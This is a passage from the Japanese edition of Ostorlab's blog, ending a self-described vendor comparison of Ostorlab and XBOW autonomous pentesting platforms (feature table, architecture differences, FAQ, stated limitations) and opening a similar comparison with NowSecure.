&lt;td&gt;対応（単体の対象として、またWebやモバイルのクライアントの背後にあるAPIとして）&lt;/td&gt;
&lt;td&gt;ブラウザーセッションとは独立してAPIをテストできるかどうかが決まる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan" rel="noopener noreferrer" target="_blank"&gt;モバイル（iOS/Android）のペンテスト&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;APK、AAB、IPAを対象とすることは公開ドキュメントに記載なし&lt;/td&gt;
&lt;td&gt;対応（AndroidおよびiOS向けAgentic Deep Scan）&lt;/td&gt;
&lt;td&gt;ネイティブモバイルアプリケーションがアタックサーフェスの一部である場合に重要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;継続的テスト／CI/CDをトリガーとするテスト&lt;/td&gt;
&lt;td&gt;対応（&lt;a href="https://docs.xbow.com/api/" rel="noopener noreferrer" target="_blank"&gt;XBOW API&lt;/a&gt;と外部の自動化を通じて）&lt;/td&gt;
&lt;td&gt;対応（GitHub Actions、GitLab CI、Jenkinsなどのネイティブフック）&lt;/td&gt;
&lt;td&gt;継続的テストにより、正式な診断の合間に生じるリグレッションを捕捉できる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ソースコード／Gitのスキャン&lt;/td&gt;
&lt;td&gt;ソースコードを&lt;a href="https://docs.xbow.com/console/reference/artifacts/" rel="noopener noreferrer" target="_blank"&gt;評価のコンテキストとしてアップロード&lt;/a&gt;可能。リポジトリ単体のスキャンは公開ドキュメントに記載なし&lt;/td&gt;
&lt;td&gt;対応（GitHub、GitLab、Azure DevOps、Bitbucket、セルフホストのGitとのネイティブ連携）&lt;/td&gt;
&lt;td&gt;コードを実行時のヒントとして使うのか、リポジトリそのものを対象として監査するのかが区別される&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ostorlab.co/product/autofix" rel="noopener noreferrer" target="_blank"&gt;ワンクリックでのコード修正&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;公開ドキュメントに記載なし&lt;/td&gt;
&lt;td&gt;対応（クローズドループでの修正検証つき）&lt;/td&gt;
&lt;td&gt;修復をすべて手作業に委ねるのではなく、プルリクエストのパッチを自動で生成・検証する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;マルチロール／マルチテナントのテスト&lt;/td&gt;
&lt;td&gt;認証済みのWebワークフローに対応&lt;/td&gt;
&lt;td&gt;対応（異なるユーザー種別にまたがる、認証済みのマルチロールワークフローをテスト）&lt;/td&gt;
&lt;td&gt;ビジネスロジックの欠陥は、ロールをまたいだアクセス境界をテストして初めて表面化することが多い&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ostorlab.co/product/attacksurface_monitoring" rel="noopener noreferrer" target="_blank"&gt;アタックサーフェス管理&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;ドメインとエンドポイントについて評価単位で範囲を設定&lt;/td&gt;
&lt;td&gt;対応（ドメイン、リポジトリ、SaaSアカウント、モバイルアプリにわたる継続的なアセット検出）&lt;/td&gt;
&lt;td&gt;組織全体にわたるシャドーインフラや忘れられたインフラを特定する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ostorlab.co/product/malware_and_resilience" rel="noopener noreferrer" target="_blank"&gt;実行時シールディングの検証&lt;/a&gt;（RASP、改ざん防止、証明書ピンニング）&lt;/td&gt;
&lt;td&gt;公開ドキュメントに記載なし&lt;/td&gt;
&lt;td&gt;対応（物理端末上でのMobile Shielding Scan）&lt;/td&gt;
&lt;td&gt;モバイルアプリの防御が実際のバイパスの試みに耐えるかどうかを検証する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;サードパーティアプリのリスクスコアリング&lt;/td&gt;
&lt;td&gt;公開ドキュメントに記載なし&lt;/td&gt;
&lt;td&gt;対応（App Vetting）&lt;/td&gt;
&lt;td&gt;企業として承認する前にサードパーティアプリケーションを評価する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;スキャン後の単一脆弱性の検証&lt;/td&gt;
&lt;td&gt;検出結果の再テストで元のエクスプロイトトレースを再現&lt;/td&gt;
&lt;td&gt;対応（SVAにより、提出された脆弱性をフルスキャンとは独立して評価可能）&lt;/td&gt;
&lt;td&gt;無関係なテストを繰り返すことなく、パッチやバグバウンティの報告を検証できる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ostorlab.co/product/dig_deeper_web" rel="noopener noreferrer" target="_blank"&gt;検出結果からの根本原因調査&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;エクスプロイトの詳細とテストトレースを提供。単独の調査ワークフローは公開ドキュメントに記載なし&lt;/td&gt;
&lt;td&gt;対応（Dig Deeper）&lt;/td&gt;
&lt;td&gt;既存の検出結果から直接、的を絞った追跡調査を行える&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;テストカバレッジの可視性&lt;/td&gt;
&lt;td&gt;Enterprise向けの評価でカバレッジのギャップ情報が文書化されている&lt;/td&gt;
&lt;td&gt;対応（Scan Coverage Heatmap）&lt;/td&gt;
&lt;td&gt;テスト済みのコンポーネントと未テストの領域を可視化する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;エクスプロイトの実証エビデンス&lt;/td&gt;
&lt;td&gt;&lt;a href="https://docs.xbow.com/console/guidance/interpreting-results/" rel="noopener noreferrer" target="_blank"&gt;エクスプロイトの詳細、再現手順、エビデンスとなる成果物、緩和策のガイダンス、テストトレース&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;スクリーンショット、HTTPリクエスト／レスポンスのログ、実行したコマンド、端末のログ、再現手順、アセットをまたいだエクスプロイトトレース&lt;/td&gt;
&lt;td&gt;両者とも決定論的な実証を提供。Ostorlabはこれに物理モバイル端末のログとアセットをまたいだ経路を加える&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;企業としての成熟度&lt;/td&gt;
&lt;td&gt;2025年半ばに非公開のウェイトリストを終了&lt;/td&gt;
&lt;td&gt;2020年創業。プラットフォームユーザー数は20,000人以上と公表&lt;/td&gt;
&lt;td&gt;プラットフォームの運用実績を把握する手がかりになる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;価格と申し込み&lt;/td&gt;
&lt;td&gt;&lt;a href="https://xbow.com/pricing" rel="noopener noreferrer" target="_blank"&gt;自社環境に合わせた利用量ベースの価格設定&lt;/a&gt;で、価格は非公開。クラウドマーケットプレイス経由でも販売&lt;/td&gt;
&lt;td&gt;&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan" rel="noopener noreferrer" target="_blank"&gt;Agentic Deep Scan&lt;/a&gt;は$499から、セルフサービスで申し込み可能&lt;/td&gt;
&lt;td&gt;調達モデルと、チームが自動テストをどこまで広く展開できるかに影響する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;誤検知への対処&lt;/td&gt;
&lt;td&gt;検出結果を報告する前に客観的な実証を必須とする&lt;/td&gt;
&lt;td&gt;静的解析と動的実行、AIによる再現を組み合わせる&lt;/td&gt;
&lt;td&gt;両者とも、検証済みの悪用によって手動トリアージの削減を重視している&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ホスティング／データレジデンシー&lt;/td&gt;
&lt;td&gt;クラウド（米国。EUとシンガポールはプレビューとして文書化）&lt;/td&gt;
&lt;td&gt;クラウド（米国、EU、サウジアラビア）またはオンプレミス&lt;/td&gt;
&lt;td&gt;GDPRや厳格なデータ主権・データレジデンシーの規則に縛られる組織にとって重要&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="アーキテクチャ上の主な違い"&gt;アーキテクチャ上の主な違い&lt;/h2&gt;
&lt;h3 id="1. 対象範囲:web中心か、異種混在のアタックサーフェスか"&gt;1. 対象範囲：Web中心か、異種混在のアタックサーフェスか&lt;/h3&gt;
&lt;p&gt;2つのプラットフォームの主な違いは、それぞれのシステムが何を評価できるかにあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;XBOW&lt;/strong&gt;は、インタラクティブなWebアプリケーションと、それを直接支えるAPIを中心に評価の範囲を定めます。このモデルでは、評価はブラウザー自動化を通じてアプリケーションのフロントエンドを探索し、UIから操作可能なエンドポイントを特定して、それらのエンドポイントに自動テストを実施します。外部に公開しているアタックサーフェスが主にWebアプリケーションである組織は、このモデルに自然に適合します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、アプリケーションのアタックサーフェスを異種混在のグラフとして捉えます。Webアプリケーションに加え、ネイティブのAndroid（APK/AAB）およびiOS（IPA）バイナリ、単体のAPI（REST、GraphQL、gRPC）、Gitリポジトリ、ネットワークホストに対応しています。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;特にモバイルアプリケーションについては、Ostorlabはアプリケーションのバイナリを調べ、物理端末上で実行時の挙動を解析し、ローカルのデータストアをテストし、ネットワークトラフィックを傍受します。これには、Mobile Shielding Scanを通じて、実行時の自己防御メカニズム（root/ジェイルブレイク検知、改ざん防止、証明書ピンニングなど）を実際のバイパスの試みのもとで評価することも含まれます。&lt;/p&gt;
&lt;h3 id="2. アセットをまたいだコンテキストとエクスプロイトチェーン"&gt;2. アセットをまたいだコンテキストとエクスプロイトチェーン&lt;/h3&gt;
&lt;p&gt;現代の脆弱性は、しばしばアーキテクチャ上の境界をまたぎます。脆弱性はモバイルバイナリ内に露出したAPIキーから始まり、認証のないバックエンドのマイクロサービスを経由して、内部のデータベースや管理インターフェースに行き着くことがあります。&lt;/p&gt;
&lt;p&gt;XBOWは特定のWebアプリケーションの範囲内でのテストを文書化しているため、テストはその対象のWebワークフローを通じて発見できる検出結果に重点を置いています。&lt;/p&gt;
&lt;p&gt;Ostorlabの&lt;strong&gt;Multi-Asset Deep Agentic Scan&lt;/strong&gt;は、評価の間、関連するアセットにまたがってコンテキストを保持します。
* モバイルクライアントやソースコードリポジトリから抽出したエンドポイント、トークン、設定パラメーターは、関連するバックエンドAPIのテスト範囲に直接投入されます。
* APIレスポンスから発見された認証情報は、範囲内にある、許可された他のエンタープライズのエンドポイントに対してテストできます。
* デプロイ済みのWebやAPIの対象で発見された欠陥は、その発生元であるGitリポジトリまでさかのぼって相関付けられます。&lt;/p&gt;
&lt;p&gt;文書化された事例研究では、自律スキャンがiOSアプリケーション内にハードコードされたAuth0のマシン間（M2M）認証情報を特定しました。当初、この認証情報は内部サービス（&lt;code&gt;read:TSC&lt;/code&gt;）に限定されているように見えましたが、テストエージェントは関連する認可サーフェスに対してこのキーを体系的に評価しました。その結果、この認証情報がテナントのAuth0 Management APIへの有効なアクセス権を持っていることが判明し、局所的なシークレットの漏えいは、ユーザーディレクトリを抽出し書き込みスコープ（&lt;code&gt;update:users&lt;/code&gt;）を露出させる、テナント全体に及ぶ管理権限の露出へと拡大しました。&lt;/p&gt;
&lt;h3 id="3. トリアージ、修復、検証のワークフロー"&gt;3. トリアージ、修復、検証のワークフロー&lt;/h3&gt;
&lt;p&gt;両プラットフォームとも、スキャナーの生のアラートではなく、決定論的な実証に裏付けられた確度の高い検出結果を優先します。XBOWは再現手順、エクスプロイトのペイロード、緩和策のガイダンス、テスト実行の完全なトレースを提供し、開発者が検出結果を再現できるようにします。&lt;/p&gt;
&lt;p&gt;Ostorlabは、実証ログと修復の自動化を組み合わせています。
* &lt;strong&gt;AutoFix&lt;/strong&gt;：対応しているリポジトリ連携では、Ostorlabは開発者のGitプロバイダー上に、的を絞ったコード修正を含むプルリクエストを直接生成し、その後の自動再テストで、パッチがリグレッションを起こさずに脆弱性を解消していることを検証します。
* &lt;strong&gt;的を絞った検証（SVAとDig Deeper）&lt;/strong&gt;：チームはSingle Vulnerability Assessment（SVA）を実行して、フルスキャンのサイクルを開始することなく、特定のバグバウンティの報告やパッチを適用したエンドポイントをテストできます。また、Dig Deeperを使って既存の検出結果の根本原因を探ることもできます。&lt;/p&gt;
&lt;h2 id="運用モデルと継続的テスト"&gt;運用モデルと継続的テスト&lt;/h2&gt;
&lt;p&gt;両プラットフォームは、エンジニアリングパイプラインへの組み込み方も異なります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自動化とCI/CD&lt;/strong&gt;：XBOWはREST APIを公開しており、エンジニアリングチームはカスタムスクリプトやオーケストレーターを通じて、評価の開始、進捗の確認、検出結果レポートの取り込みを行えます。OstorlabはGitHub Actions、GitLab CI、Jenkins向けの構築済みアクションに加え、公開アプリストアに新しいモバイルバージョンが登場するたびにスキャンを開始するストア監視トリガーを提供しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;階層型エンジンとモデルの制御&lt;/strong&gt;：Ostorlabは3層のテストモデルを実装しています。静的チェックと設定チェックのための高速な決定論的スキャナー、企業が承認したLLMを利用できるBring Your Own Key（BYOK）に対応したセマンティック解析、そして多段階のエクスプロイト探索を行う自律エージェントです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;調達とデプロイ&lt;/strong&gt;：XBOWは環境ごとに範囲を定めた利用量ベースの価格設定で、価格は公開されていません。以前提供していたPentest On-Demandは2026年7月16日に終了しました。Ostorlabは$499からのセルフサービスプランを提供し、マルチリージョンのクラウドデプロイ（米国、EU、サウジアラビア）と、エアギャップ環境や厳しく規制された環境向けのオンプレミス導入の両方に対応しています。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="xbowはモバイルアプリをテストできますか"&gt;XBOWはモバイルアプリをテストできますか&lt;/h3&gt;
&lt;p&gt;XBOWの公開ドキュメントは、インタラクティブなWebアプリケーションとそれを支えるAPIに重点を置いています。Android APK/AABやiOS IPAのアプリケーションを、対応する評価対象として公開ドキュメントに記載してはいません。Ostorlabは、AndroidおよびiOS向けのAgentic Deep Scanを通じて、専用のモバイルアプリケーションセキュリティテストを提供しています。&lt;/p&gt;
&lt;h3 id="xbowはapiをテストできますか"&gt;XBOWはAPIをテストできますか&lt;/h3&gt;
&lt;p&gt;はい。XBOWは、インタラクティブなWebアプリケーションに関連するAPIへの対応を文書化しています。OstorlabはAPIを単体の対象としても、モバイルやWebのクライアントのコンテキストにおいてもテストし、エージェントがクライアントの挙動とバックエンドAPIのロジックを相関付けられるようにしています。&lt;/p&gt;
&lt;h3 id="xbowはソースコードをテストできますか"&gt;XBOWはソースコードをテストできますか&lt;/h3&gt;
&lt;p&gt;XBOWでは、Webテストの参考情報としてソースコードを評価のコンテキストにアップロードできますが、ソースコードリポジトリ単体の監査については公開ドキュメントに記載がありません。OstorlabはGitプロバイダー（GitHub、GitLab、Azure DevOps、Bitbucket、セルフホスト）に直接接続してコードリポジトリを評価し、プルリクエストによる修正を自動生成します。&lt;/p&gt;
&lt;h3 id="モバイルアプリのセキュリティにはどちらのプラットフォームが適していますか"&gt;モバイルアプリのセキュリティにはどちらのプラットフォームが適していますか&lt;/h3&gt;
&lt;p&gt;Ostorlabは、AndroidとiOSのバイナリ解析、物理端末上での実行時シールディングのバイパス検証、サードパーティアプリのベッティングを含む、ネイティブモバイルアプリケーションのセキュリティテストを備えています。XBOWは、ネイティブモバイルを対象とすることを公開ドキュメントに記載していません。&lt;/p&gt;
&lt;h3 id="multi-asset deep agentic scanとは何ですか"&gt;Multi-Asset Deep Agentic Scanとは何ですか&lt;/h3&gt;
&lt;p&gt;Multi-Asset Deep Agentic Scanは、モバイル、Web、API、ネットワーク、ソースコードのアセットにまたがるアプリケーションを対象とした、Ostorlabの連携型評価ワークフローです。アセット間でコンテキストを保持し、エージェントがある対象での発見事項（抽出した認証情報やエンドポイントなど）を、関連するサービスのテストに活用できるようにします。&lt;/p&gt;
&lt;h3 id="xbowとostorlabはどのようなエビデンスを提供しますか"&gt;XBOWとOstorlabはどのようなエビデンスを提供しますか&lt;/h3&gt;
&lt;p&gt;両プラットフォームとも、検証済みの検出結果に対して決定論的なエビデンスを提供します。XBOWは、エクスプロイトの詳細、再現のガイダンス、エビデンスとなる成果物、緩和策の推奨事項、完全なテストトレースを文書化しています。Ostorlabの検出結果には、HTTPトラフィックのログ、スクリーンショット、実行したコマンド、端末の実行時トレース、再現手順、境界をまたいだエクスプロイト経路が含まれます。&lt;/p&gt;
&lt;h3 id="xbowは継続的テストやci/cdをトリガーとするテストに対応していますか"&gt;XBOWは継続的テストやCI/CDをトリガーとするテストに対応していますか&lt;/h3&gt;
&lt;p&gt;はい。XBOWの公開REST APIにより、外部の自動化から評価を開始し、検出結果を取得できます。OstorlabはGitHub Actions、GitLab CI、Jenkins向けの構築済みプラグインに加え、モバイルアプリストアでの新しいリリースをトリガーとする自動スキャンを提供しています。&lt;/p&gt;
&lt;h3 id="mobile shielding scanとは何ですか"&gt;Mobile Shielding Scanとは何ですか&lt;/h3&gt;
&lt;p&gt;Mobile Shielding Scanは、改ざん防止、root/ジェイルブレイク検知、証明書ピンニングなどの実行時保護が、設定ファイル上に存在するかを確認するだけでなく、物理端末上での実際のバイパスの試みに耐えられるかどうかを評価するOstorlabの機能です。&lt;/p&gt;
&lt;h3 id="app vettingとは何ですか"&gt;App Vettingとは何ですか&lt;/h3&gt;
&lt;p&gt;App Vettingは、企業への導入前にサードパーティのモバイルアプリケーションを評価するための、Ostorlabのリスクスコアリングフレームワークです。マルウェアの兆候、セキュリティ脆弱性、プライバシーとテレメトリに関する挙動、パブリッシャーの信頼性、保守性を評価します。&lt;/p&gt;
&lt;h3 id="svaとdig deeperの違いは何ですか"&gt;SVAとDig Deeperの違いは何ですか&lt;/h3&gt;
&lt;p&gt;Single Vulnerability Assessment（SVA）は、提出された単一の脆弱性を対象に、焦点を絞ったスキャンを実行します（バグバウンティの報告の検証に役立ちます）。Dig Deeperは既存の検出結果から直接起動し、根本原因を追跡したり、想定されるエッジケースを検証したりします。&lt;/p&gt;
&lt;h3 id="ostorlabにはアタックサーフェス管理が含まれていますか"&gt;Ostorlabにはアタックサーフェス管理が含まれていますか&lt;/h3&gt;
&lt;p&gt;はい。Ostorlabは、ドメイン、ソースコードリポジトリ、SaaSアカウント、モバイルアプリケーションにわたってアセットを継続的に検出・監視し、検出したアセットを中央のThreat Centerに統合します。&lt;/p&gt;
&lt;h3 id="ostorlabのコストはxbowと比べてどうですか"&gt;OstorlabのコストはXBOWと比べてどうですか&lt;/h3&gt;
&lt;p&gt;OstorlabのAgentic Deep Scanは$499からで、セルフサービスで申し込めます。XBOWは価格を公開していません。価格は利用量に基づき、環境ごとに範囲が定められます。エンタープライズ向けの導入では、価格や条件が異なる場合があります。&lt;/p&gt;
&lt;h2 id="この比較の制約"&gt;この比較の制約&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ベンダーの機能、価格、ドキュメントは頻繁に変わります。XBOWに関する詳細は、2026年7月28日以降に変わっている可能性があります。&lt;/li&gt;
&lt;li&gt;この記事のために、検出率、誤検知率、スキャン速度に関する独立したベンチマークは実施していません。&lt;/li&gt;
&lt;li&gt;この記事は、XBOWを実際にテストした結果を報告するものではありません。XBOWに関する記述は同社の公開資料を、Ostorlabに関する記述はOstorlab自身の製品ドキュメントを反映しています。&lt;/li&gt;
&lt;li&gt;最新の機能、価格、デプロイの選択肢は各ベンダーに直接確認してください。理想的には、自社のアプリケーションに対して両方のプラットフォームをテストすることをおすすめします。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="両プラットフォームを評価する"&gt;両プラットフォームを評価する&lt;/h2&gt;
&lt;p&gt;自律型ペネトレーションテストを検討している組織は、候補となるプラットフォームを実際の自社アプリケーションに対してテストすべきです。各エンジンが対象の検出、マルチロールの認可テスト、エクスプロイトのエビデンスをどのように扱うかを比較することが、それぞれが自社のセキュリティとエンジニアリングのワークフローにどれだけ適合するかを示す、最も明確な判断材料になります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;すでにXBOWをお使いですか。&lt;/strong&gt;&lt;a href="https://ostorlab.co/bake-off"&gt;同じアプリでOstorlabとXBOWを比較する&lt;/a&gt;：同じ対象、同じ制限時間で比較します。検出結果は、自社のチームが再現できた時点で初めてカウントされます。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "@id": "https://blog.ostorlab.co/ostorlab-vs-xbow.html#faq",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "XBOWはモバイルアプリをテストできますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "XBOWの公開ドキュメントは、インタラクティブなWebアプリケーションとそれを支えるAPIに重点を置いています。Android APK/AABやiOS IPAのアプリケーションを、対応する評価対象として公開ドキュメントに記載してはいません。Ostorlabは、AndroidおよびiOS向けのAgentic Deep Scanを通じて、専用のモバイルアプリケーションセキュリティテストを提供しています。"
      }
    },
    {
      "@type": "Question",
      "name": "XBOWはAPIをテストできますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "はい。XBOWは、インタラクティブなWebアプリケーションに関連するAPIへの対応を文書化しています。OstorlabはAPIを単体の対象としても、モバイルやWebのクライアントのコンテキストにおいてもテストし、エージェントがクライアントの挙動とバックエンドAPIのロジックを相関付けられるようにしています。"
      }
    },
    {
      "@type": "Question",
      "name": "XBOWはソースコードをテストできますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "XBOWでは、Webテストの参考情報としてソースコードを評価のコンテキストにアップロードできますが、ソースコードリポジトリ単体の監査については公開ドキュメントに記載がありません。OstorlabはGitプロバイダー（GitHub、GitLab、Azure DevOps、Bitbucket、セルフホスト）に直接接続してコードリポジトリを評価し、プルリクエストによる修正を自動生成します。"
      }
    },
    {
      "@type": "Question",
      "name": "モバイルアプリのセキュリティにはどちらのプラットフォームが適していますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Ostorlabは、AndroidとiOSのバイナリ解析、物理端末上での実行時シールディングのバイパス検証、サードパーティアプリのベッティングを含む、ネイティブモバイルアプリケーションのセキュリティテストを備えています。XBOWは、ネイティブモバイルを対象とすることを公開ドキュメントに記載していません。"
      }
    },
    {
      "@type": "Question",
      "name": "Multi-Asset Deep Agentic Scanとは何ですか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Multi-Asset Deep Agentic Scanは、モバイル、Web、API、ネットワーク、ソースコードのアセットにまたがるアプリケーションを対象とした、Ostorlabの連携型評価ワークフローです。アセット間でコンテキストを保持し、エージェントがある対象での発見事項（抽出した認証情報やエンドポイントなど）を、関連するサービスのテストに活用できるようにします。"
      }
    },
    {
      "@type": "Question",
      "name": "XBOWとOstorlabはどのようなエビデンスを提供しますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "両プラットフォームとも、検証済みの検出結果に対して決定論的なエビデンスを提供します。XBOWは、エクスプロイトの詳細、再現のガイダンス、エビデンスとなる成果物、緩和策の推奨事項、完全なテストトレースを文書化しています。Ostorlabの検出結果には、HTTPトラフィックのログ、スクリーンショット、実行したコマンド、端末の実行時トレース、再現手順、境界をまたいだエクスプロイト経路が含まれます。"
      }
    },
    {
      "@type": "Question",
      "name": "XBOWは継続的テストやCI/CDをトリガーとするテストに対応していますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "はい。XBOWの公開REST APIにより、外部の自動化から評価を開始し、検出結果を取得できます。OstorlabはGitHub Actions、GitLab CI、Jenkins向けの構築済みプラグインに加え、モバイルアプリストアでの新しいリリースをトリガーとする自動スキャンを提供しています。"
      }
    },
    {
      "@type": "Question",
      "name": "Mobile Shielding Scanとは何ですか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Mobile Shielding Scanは、改ざん防止、root/ジェイルブレイク検知、証明書ピンニングなどの実行時保護が、設定ファイル上に存在するかを確認するだけでなく、物理端末上での実際のバイパスの試みに耐えられるかどうかを評価するOstorlabの機能です。"
      }
    },
    {
      "@type": "Question",
      "name": "App Vettingとは何ですか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "App Vettingは、企業への導入前にサードパーティのモバイルアプリケーションを評価するための、Ostorlabのリスクスコアリングフレームワークです。マルウェアの兆候、セキュリティ脆弱性、プライバシーとテレメトリに関する挙動、パブリッシャーの信頼性、保守性を評価します。"
      }
    },
    {
      "@type": "Question",
      "name": "SVAとDig Deeperの違いは何ですか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Single Vulnerability Assessment（SVA）は、提出された単一の脆弱性を対象に、焦点を絞ったスキャンを実行します（バグバウンティの報告の検証に役立ちます）。Dig Deeperは既存の検出結果から直接起動し、根本原因を追跡したり、想定されるエッジケースを検証したりします。"
      }
    },
    {
      "@type": "Question",
      "name": "Ostorlabにはアタックサーフェス管理が含まれていますか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "はい。Ostorlabは、ドメイン、ソースコードリポジトリ、SaaSアカウント、モバイルアプリケーションにわたってアセットを継続的に検出・監視し、検出したアセットを中央のThreat Centerに統合します。"
      }
    },
    {
      "@type": "Question",
      "name": "OstorlabのコストはXBOWと比べてどうですか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "OstorlabのAgentic Deep Scanは$499からで、セルフサービスで申し込めます。XBOWは価格を公開していません。価格は利用量に基づき、環境ごとに範囲が定められます。エンタープライズ向けの導入では、価格や条件が異なる場合があります。"
      }
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="Security"/><category term="Comparison"/></entry><entry><title>Ostorlab対NowSecure：モバイルAppSecの比較</title><link href="https://blog.ostorlab.co/ja/ostorlab-vs-nowsecure.html" rel="alternate"/><published>2026-07-27T16:47:00+02:00</published><updated>2026-10-06T12:00:00+02:00</updated><author><name>Bilal HARRAS</name></author><id>tag:blog.ostorlab.co,2026-07-27:/ja/ostorlab-vs-nowsecure.html</id><summary type="html">&lt;p&gt;Ostorlab対NowSecureを6つの領域で比較します。コストとスケール、CI/CD連携、ビジネスロジックのカバレッジ、フレームワークのサポート、対象を絞ったスキャン、地域制限アプリです。&lt;/p&gt;</summary><content type="html">&lt;h1 id="レガシーなモバイルappsecを超えて:なぜ現代のdevsecopsチームはnowsecureをostorlabに置き換えているのか"&gt;&lt;strong&gt;レガシーなモバイルAppSecを超えて：なぜ現代のDevSecOpsチームはNowSecureをOstorlabに置き換えているのか&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;あらゆるMASTプラットフォームが、現代のアプリケーションを保護すると謳っています。しかし、現代のアプリケーションが実際にどう作られているかに合わせて構築されているものは、ほとんどありません。今日のモバイルアプリは、ネイティブコードと同じくらいの頻度でReact NativeやFlutter上で動作し、設計上地域制限された地域別のバリアントを配信し、本当のアタックサーフェスを、単純なログインフォームではなく、SSO、2FA、複数ステップのオンボーディングの背後に隠しています。これらはもはやエッジケースではなく、デフォルトです。それでも、ほとんどのスキャンプラットフォームは、今なおそれらを後付けの要素として扱い、より単純なモバイルエコシステム向けに設計されたモデルに無理やり取り付けています。Ostorlabは、古いスキャン手法を後付けで対応させるのではなく、これらの具体的な問題をゼロから解決することを中心に構築されました。本記事では、その設計の違いが実際に現れる6つの領域を、NowSecureのエンタープライズのパイプライン中心の手法と比較しながら見ていきます。&lt;/p&gt;
&lt;h2 id="この比較について"&gt;この比較について&lt;/h2&gt;
&lt;p&gt;この比較は、ここで比較されているOstorlabプラットフォームを開発・販売するOstorlabによって公開されています。NowSecureに関する記述は、NowSecureの公開ウェブサイトとドキュメントに基づいています。Ostorlabに関する記述は、Ostorlab自身の製品ドキュメントに基づいています。他のベンダーに関する情報は、2026年7月27日時点の公開ウェブサイトとドキュメントを反映しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価基準：&lt;/strong&gt;価格モデル、CI/CD連携とデプロイ、ビジネスロジックと認証のテスト、検出結果とエビデンス、クロスプラットフォームのフレームワークサポート、対象を絞った単一脆弱性のスキャン、地域制限アプリのテスト、コードの修復、そしてBring Your Own AI Key（BYOK）のサポート。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;カテゴリー&lt;/th&gt;
&lt;th&gt;NowSecure&lt;/th&gt;
&lt;th&gt;Ostorlab&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;価格モデル&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;カスタムのエンタープライズライセンス&lt;/td&gt;
&lt;td&gt;前払いトークン、未使用トークンは返金 + 無制限の無料シート&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CI/CDとデプロイ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GitHub Actions、GitLab、Jenkins、CircleCI、Azure DevOps、Bitrise、Jiraとの&lt;a href="https://www.nowsecure.com/products/platform/"&gt;連携&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;アプリストアからのセットアップ不要の直接スキャン、パイプライン不要、加えてCI/CDサポート（GitHub、GitLab、Azure DevOps、Jenkins、Bitbucket、CircleCI）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ビジネスロジックと認証のテスト&lt;/strong&gt;&lt;/td&gt;
